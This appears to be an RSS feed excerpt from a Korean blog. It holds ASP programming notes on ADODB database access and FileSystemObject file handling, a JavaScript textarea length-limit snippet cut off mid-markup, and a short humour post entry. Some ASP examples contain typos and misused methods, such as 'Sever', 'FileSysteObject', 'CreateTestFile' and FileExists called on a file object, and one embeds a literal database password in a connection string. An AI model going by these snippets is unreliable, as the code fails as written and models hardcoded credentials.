<P>Set DBCon = Server.CreateObject("ADODB.Connection")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;인스턴스 만들기</P>
<P>DBCon.Open("DSN=Web;uid=zzugli;pwd=8513;")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;DB 연결</P>
<P>위줄과 같은 내용&nbsp; DBCon.Open "WebDB","zzugli","8513" </P>
<P>&nbsp;</P>
<P>DBCon.Execute "delete from member where ID = 'A'"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;쿼리를 데이터베이스에 던지기..</P>
<P>&nbsp;</P>
<P>Dim RS</P>
<P>Set RS = Server.CreateObject("ADODB.RecordSet")</P>
<P>str = "Select * from member"</P>
<P>RS.Open str,DBCon</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#0000ff>FileSystemObject</FONT></STRONG></P>
<P><FONT color=#177fcd><STRONG>*드라이브 정보 얻어 오기</STRONG></FONT></P>
<P>Set fs = Sever.CreateObject("Scripting.FileSystemOb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sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;드라이브의 준비여부(true/false)</P>
<P>&nbsp;</P>
<P><FONT color=#177fcd><STRONG>*파일정보 얻어 오기</STRONG></FONT></P>
<P>Set fs = Server.CreateObject("Scripting.FileSysteObject")</P>
<P>Set myfile = fs.GetFile("c:/config.sys")</P>
<P>myfile.Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; 파일 크기</P>
<P>myfile.Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs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;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 마지막 수정일</P>
<P>&nbsp;</P>
<P><FONT color=#177fcd><STRONG>*파일생성하기</STRONG></FONT></P>
<P>Set fs = Server.CreateObject("Scripting.FileSystemObject")</P>
<P>Set objFile = fs.CreateTestFile("c:\a\b.txt",true,false)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;전체경로,덮어쓰기여부,유니코드orASCII코드인지</P>
<P>objFile.FileExists("c:\a\b.txt")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일의 존재 여부 체크 존재하면true 그렇지 안으면 false</P>
<P>objFile.DeleteFile("c:\a\b.txt")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일 지우기</P>
<P>&nbsp;</P>
<P><FONT color=#177fcd><STRONG>*파일에 글쓰기</STRONG></FONT></P>
<P>Set fs = Server.CreateObject("Scripting.FileSystemObject")</P>
<P>Set objFile = fs.OpenTextFile("c:\a\b.txt",8,true,-1)</P>
<P>=&gt;전체 경로, 1이면 읽기전용 8이면 쓰기가능, true이면 없을경우 새로 생성 false이면 무조건 말일 존재,파일포맷</P>
<P>&nbsp;&nbsp; 첫번째인자만 필수이고 나머지 생략가능&nbsp; -- Set objFile = fs.OpenTextFile("c:\a\b.txt",8)이런식으로 많이 사용,</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#177fcd>*파일에서 글 읽어 오기</FONT></STRONG></P>
<P>Set fs = Server.CreateObject("Scripting.FileSystemObject")</P>
<P>Set objFile = fs.OpenTextFile("c:\a\b.txt",1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;글을 읽어 올때는 읽기전용(1) 값으로 반드시 셋팅한다. </P>
<P>&nbsp;</P>
<P>Do While objFile.AtEndOfStream&lt;&gt;true&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;AtEndOfStream은 글의 끝부분에 도달하면 ture를 return한다</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.write objFile.readLine &amp; "&lt;br&gt;"&nbsp;&nbsp;&nbsp; &nbsp;=&gt;글은 한줄씩 읽어 온다. </P>
<P>loop</P>
<P>&nbsp;</P>
<P>content = objFile.readall&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;글 전체를 읽어 온다. </P>
<P>str = replace(content,chr(13)&amp;chr(10),"&lt;br&gt;")&nbsp;&nbsp;&nbsp;&nbsp;=&gt;replace(전체문자열,바꾸고자하는것,바꿀문자) chr(13)&amp;chr(10)는 Enter이다</P>
<P>Response.write str</P>
<P>&nbsp;</P>
<P>write&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에 문자열을 입력</P>
<P>writeLine&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; 파일에 문자열과 엔터값(라인)을 입력</P>
<P>WriteBlankLine(i)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에 i개의 엔터값을 입력</P>
<P>Read(i)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에서 i개의 문자만을 읽어온다</P>
<P>ReadLine&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에서 한라인을 읽어온다</P>
<P>ReadAll&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에서 모든 텍스트를 읽어온다</P>
<P>Skip(i)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에서 i개 만큼 문자를 건너뛴다</P>
<P>SkipLine&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;파일에서 읽어올때 라인하나를 건너뛴다.</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><FONT color=#8746aa>*<STRONG> 서버에 설정되어있는 상대경로나 가상 디렉토리에 해당하는 가상경로의 물리적인 실제 위치 알기</STRONG></FONT></P>
<P>&nbsp;</P>
<P>&nbsp;Server.MapPath("/")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;&nbsp;- 웹서버의 루트 디렉토리 알아내기</P>
<P>&nbsp;Server.MapPath("현재폴더/현재파일명")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; - 현재페이지의 물리적인 경로</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#8746aa>* 모든 태그에 관련된 문자들을 화면에 그대로 출력</FONT></STRONG></P>
<P>&nbsp;</P>
<P>&nbsp;Server.HTMLEncode("&lt;BR&gt;")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; &lt;BR&gt;출력</P>
<P>&nbsp;Server.HTMLEncode("&lt;%= Server.ScriptTimeout %\&gt;")&nbsp;&nbsp;&nbsp;&nbsp; =&gt; &lt;%= Server.ScriptTimeout %&gt;출력</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><FONT color=#8746aa><STRONG>* 호출페이지로 실행옮기기</STRONG></FONT></P>
<P>&nbsp;</P>
<P>&nbsp;Server.Execute("다른페이지") 또는 Server.Execute "다른페이지"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;일을 마친후 호출페이지로 되돌아옴</P>
<P>&nbsp;Server.Transfer("다른페이지") 또는 Server.Transfer "다른페이지"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;일을 마친 후 제어종료 </P>
<P>&nbsp;=&gt; Response.Redirect 와의 차이점 : 위의서버메소드는 브라우저의 url이 바퀴지 않는다 Response.Redirect 는 바뀐다.</P>
<P style="MARGIN: 15px 0px 0px">&nbsp;</P> ]]> </description>
<category>ASP 프로그래밍</category>
<category>ASP</category>
<pubDate>Wed, 31 Oct 2007 13:08:11 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/242</guid>
</item>
<item>
<title>똥침걸</title>
<link>http://syabang.com/blog/wolf/index.php/post/241</link>
<description><![CDATA[  ]]> </description>
<category>엽기 | 코믹 | 펌</category>
<category>똥침걸</category>
<pubDate>Thu, 09 Aug 2007 09:38:00 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/241</guid>
<enclosure url="http://www.maxpd.com/player/mainplayer.swf" type="flash/swf" />
</item>
<item>
<title>textarea 글자수 제한</title>
<link>http://syabang.com/blog/wolf/index.php/post/240</link>
<description><![CDATA[ <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><FONT size=2><FONT face=바탕><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: blue; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white">&lt;</SPAN><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: maroon; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white">HTML</SPAN><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: blue; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white">&gt;<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">&lt;</SPAN><SPAN style="COLOR: maroon">HEAD</SPAN><SPAN style="COLOR: blue">&gt;<o:p></o:p></SPAN></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">&lt;</SPAN><SPAN style="COLOR: maroon">TITLE</SPAN><SPAN style="COLOR: blue">&gt;</SPAN>TextArea <SPAN style="COLOR: blue">&lt;/</SPAN><SPAN style="COLOR: maroon">TITLE</SPAN><SPAN style="COLOR: blue">&gt;<o:p></o:p></SPAN></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">&lt;</SPAN><SPAN style="COLOR: maroon">SCRIPT</SPAN><SPAN style="COLOR: fuchsia"> </SPAN><SPAN style="COLOR: red">LANGUAGE</SPAN><SPAN style="COLOR: blue">="JavaScript"&gt;<o:p></o:p></SPAN></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕>&lt;!--<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕>&nbsp;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><FONT size=2><FONT face=바탕><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: blue; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white">function</SPAN><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"> CheckStrLength()<o:p></o:p></SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕>{<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕>&nbsp;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">var</SPAN> temp;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;<SPAN style="COLOR: blue">var f</SPAN>&nbsp;</SPAN>= document.form.write_text.value.length;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><FONT size=2><FONT face=바탕><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">var</SPAN> msglen = 256; <SPAN style="COLOR: green"><FONT face=바탕>//</FONT></SPAN></SPAN></FONT><FONT face=바탕><SPAN style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: green; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white; mso-ansi-language: KO">최대</SPAN><SPAN style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: green; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"> </SPAN><SPAN style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: green; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white; mso-ansi-language: KO">길이</SPAN><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; COLOR: green; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><o:p></o:p></SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">var</SPAN> tmpstr = "";<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">var</SPAN> enter = 0;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">var</SPAN> strlen;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT face=바탕 size=2></FONT></SPAN>&nbsp;</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><SPAN style="COLOR: green"><FONT size=1><FONT face=바탕><FONT size=2>&nbsp;// 초기 최대길이를 텍스트 박스에 뿌려준다</FONT>.</FONT></FONT></SPAN></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">if</SPAN>(f == 0)<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp; </SPAN>document.form.remain.value = msglen;<o:p></o:p></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highlight: white"><FONT size=2><FONT face=바탕><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="COLOR: blue">else&nbsp;</SPAN></FONT></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: keep-all; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-SIZE: 11pt; BACKGROUND: white; FONT-FAMILY: 굴림체; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-highli